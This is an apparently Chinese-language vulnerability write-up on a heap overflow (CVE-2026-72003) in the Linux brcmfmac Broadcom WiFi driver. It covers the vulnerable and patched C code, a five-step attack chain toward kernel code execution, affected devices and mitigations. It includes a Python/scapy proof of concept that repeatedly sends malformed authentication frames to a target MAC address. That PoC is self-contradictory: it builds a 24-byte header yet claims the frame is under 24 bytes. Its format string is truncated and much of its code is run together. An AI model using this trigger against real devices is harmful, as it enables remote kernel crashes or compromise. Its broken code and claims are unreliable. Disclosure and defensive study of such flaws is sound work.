当前位置:首页>Linux>Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析

Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析

  • 2026-09-18 14:27:12
Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析
CVE-2026-72003CVSS 8.1 高危远程触发补丁已发布
漏洞概述
漏洞编号
CVE-2026-72003
漏洞类型
堆缓冲区溢出 (CWE-122: Heap-based Buffer Overflow)
CVSS评分
8.1 高危 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
攻击向量
相邻网络 (AV:A) — 需物理接近恶意AP
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 brcmfmac 驱动(Broadcom 802.11 WiFi芯片)
披露时间
2026-08-15 (NVD发布)
技术细节

CVE-2026-72003 是 Linux 内核 Broadcom WiFi 驱动 brcmfmac中的一个严重堆缓冲区溢出漏洞。该漏洞存在于驱动处理 802.11 认证帧(Authentication Frame)的代码路径中。当设备执行外部 SAE(Simultaneous Authentication of Equals)认证交换时,驱动会从接收到的管理帧中读取固定大小的字段,但未在处理前强制验证帧的最小长度。

核心问题在于长度计算中的整数下溢。当攻击者发送的 mgmt_frame_len小于管理帧头部偏移量(24字节)时,代码执行无符号减法运算导致值回绕为一个极大的数值。随后的 memcpy操作会使用这个错误的长度值,导致数据拷贝远超已分配的内核堆缓冲区边界。

C漏洞核心代码路径
/* brcmfmac 驱动中处理认证帧的漏洞代码路径 */static voidbrcmf_rx_auth_frame(struct brcmf_if *ifp,                                struct sk_buff *skb) {     struct ieee80211_mgmt *mgmt;     u32 mgmt_frame_len;     u8*frame_body;      mgmt = (struct ieee80211_mgmt *)skb->data;      /* 漏洞点:未验证帧长度是否满足最小要求 */     mgmt_frame_len = skb->len;      /* 计算帧体长度时发生整数下溢 *//* 当 mgmt_frame_len < 24 时,无符号减法回绕 */     frame_body = mgmt->u.auth.variable;     u32 body_len = mgmt_frame_len -24;  /* 0xFFFFFFFF... *//* 后续 memcpy 使用错误长度,导致堆溢出 */memcpy(ifp->auth_buf, frame_body, body_len);  /* BOOM! */ } 

此漏洞的触发条件极为简单:攻击者只需在外部 SAE 认证交换过程中发送一个过短的认证帧。由于 WPA3 的 SAE 认证广泛用于现代 WiFi 网络,任何启用 WPA3 且使用 Broadcom WiFi 芯片的设备在扫描或连接网络时都可能成为攻击目标。值得注意的是,攻击不需要任何预先认证或凭据,目标设备甚至无需已连接到恶意 AP——只需在信号范围内即可。

C修复补丁核心逻辑
/* 修复补丁:添加最小长度检查 */static voidbrcmf_rx_auth_frame(struct brcmf_if *ifp,                                struct sk_buff *skb) {     struct ieee80211_mgmt *mgmt;     u32 mgmt_frame_len;      /* 修复:强制验证最小帧长度 */if (skb->len <24+sizeof(mgmt->u.auth)) {         brcmf_dbg(INFO, "auth frame too short: %u\n", skb->len);         return;  /* 丢弃过短帧 */     }      /* 后续安全处理... */     mgmt_frame_len = skb->len;     /* ... */ } 
攻击链分析
步骤一:恶意AP部署
攻击者在目标区域部署一个配置为 WPA3-SAE 模式的恶意 WiFi接入点(AP),或劫持合法AP发送畸形的认证响应帧。设备需处于恶意AP信号覆盖范围内。
步骤二:触发SAE认证交换
当目标设备(如笔记本电脑、IoT设备)扫描到该恶意AP的SSID并尝试连接,或已保存该SSID的设备自动尝试重连时,触发 WPA3 的 SAE 外部认证交换流程。此过程完全无需用户交互。
步骤三:发送畸短认证帧
在 SAE Commit 或 Confirm 交换阶段,恶意AP向目标设备发送一个长度小于24字节的认证帧。该帧被 brcmfmac 驱动的认证帧处理函数接收。
步骤四:整数下溢与堆溢出
驱动计算帧体长度时,mgmt_frame_len(如10) - 24 导致无符号整数回绕为 0xFFFFFFF2(约4GB),随后 memcpy 以该长度向内核堆缓冲区写入数据,造成严重的堆溢出。
步骤五:内核代码执行
通过精心构造溢出数据,攻击者可以覆盖相邻的堆元数据或函数指针,结合内核堆利用技术(如 SLUB 投毒、堆喷射),最终实现内核态任意代码执行,获得系统最高权限。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。请在隔离的测试环境中运行。
Python概念验证 - 畸短认证帧构造
#!/usr/bin/env python3# CVE-2026-72003 PoC - brcmfmac WiFi Heap Overflow Trigger# 仅供安全研究使用,必须在授权隔离环境中运行importscapy.allasscapyimportstructimporttimeimportsysimportos# IEEE 802.11 管理帧帧控制字段FC_MGMT=0x00C0# 管理帧类型FC_AUTH=0x000B# 认证帧子类型defbuild_malformed_auth_frame(target_mac, ap_mac):     """构造畸短的认证帧触发堆溢出"""# 802.11 帧头 (24字节) - 正常长度frame_control=FC_MGMT|FC_AUTHduration=0x0000seq_ctrl=0x0010# 构造最小帧头header=struct.pack(',         frame_control,   # Frame Controlduration,        # Durationbytes.fromhex(target_mac.replace(':', '')),  # DAbytes.fromhex(ap_mac.replace(':', '')),       # SAbytes.fromhex(ap_mac.replace(':', '')),       # BSSIDstruct.pack('H', seq_ctrl)                    # Seq Ctrl     )          # 关键:仅附加极少量的认证帧体数据# 使总帧长 < 24字节(头部偏移),触发整数下溢payload=b'\x00\x03'# 认证算法: SAE (3)payload+=b'\x01\x00'# 认证序列: 2# 故意不填充完整帧体,使总长度 < 24frame=header+payloadreturnframedeftrigger_overflow(iface, target_mac, ap_mac):     """发送畸短认证帧触发漏洞"""frame=build_malformed_auth_frame(target_mac, ap_mac)     radiotap=scapy.RadioTap()     pkt=radiotap/scapy.Dot11(frame)          print(f"[*] 目标MAC: {target_mac}")     print(f"[*] 帧总长度: {len(frame)} 字节 (应 < 24触发下溢)")     print(f"[*] 发送畸短认证帧至目标...")          # 连续发送以提高触发概率foriinrange(100):         scapy.sendp(pkt, iface=iface, verbose=False)         time.sleep(0.01)          print("[+] 漏洞触发帧已发送")     print("[!] 检查目标是否崩溃 (kernel panic/oops)")  if__name__=="__main__":     iflen(sys.argv) !=4:         print(f"Usage: {sys.argv[0]} ")         sys.exit(1)          trigger_overflow(sys.argv[1], sys.argv[2], sys.argv[3]) 
影响范围
Broadcom BCM43xx 系列 WiFi 芯片— 使用上游 brcmfmac 驱动的所有 Broadcom 802.11ac/ax/Be 无线芯片组
消费级笔记本电脑— 搭载 Broadcom WiFi 芯片的 Dell、HP、Lenovo、ASUS 等品牌笔记本,尤其是使用 WPA3 的设备
单板计算机与嵌入式设备— Raspberry Pi 系列(3B+/4/5)、BeagleBone 及各类基于 Broadcom 芯片的 IoT 设备
Linux 发行版— 所有使用上游 brcmfmac 驱动的 Linux 发行版,包括 Ubuntu 20.04/22.04/24.04/26.04、Fedora 39-42、Debian 12/13、Arch Linux 等
Android 设备— 使用 Broadcom WiFi 芯片且未应用厂商特定驱动的 Android 智能手机与平板电脑
路由器固件— 运行 OpenWrt/DD-WRT 等第三方固件且使用 Broadcom 无线芯片的路由器设备
防御指南
修复与缓解
  • 立即升级至 Linux 内核最新稳定版本(补丁已合入 stable 分支),确保 brcmfmac 驱动包含最小帧长度检查
  • 如无法立即升级内核,可通过内核命令行参数 brcmfmac.debug=0x10启用驱动调试日志,配合 dmesg 监控异常认证帧
  • 企业环境中可通过 WPA2-Enterprise 临时替代 WPA3-SAE,避免外部 SAE 认证路径被触发
  • 使用无线入侵检测系统(WIDS)监控网络环境中的异常短认证帧
  • 嵌入式设备厂商应尽快将补丁回合至其维护的内核分支
  • 配置 WPA3 设备的 PMF(Protected Management Frames)策略,仅允许受信任 AP 的认证帧
⚡ 紧急建议
该漏洞为远程可触发的内核堆溢出,攻击者仅需物理接近目标设备(WiFi信号覆盖范围),无需任何认证凭据。历史经验表明,WiFi驱动堆溢出漏洞从披露到武器化的时间窗口极短。建议所有使用 Broadcom WiFi 芯片的 Linux 设备立即应用补丁。
法律声明以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。本文中的 PoC 代码仅用于概念验证,旨在帮助安全研究人员理解漏洞原理并开发相应的防御措施。任何因滥用本文信息造成的损害,作者不承担任何责任。请在法律允许的范围内使用相关信息。

最新文章

随机文章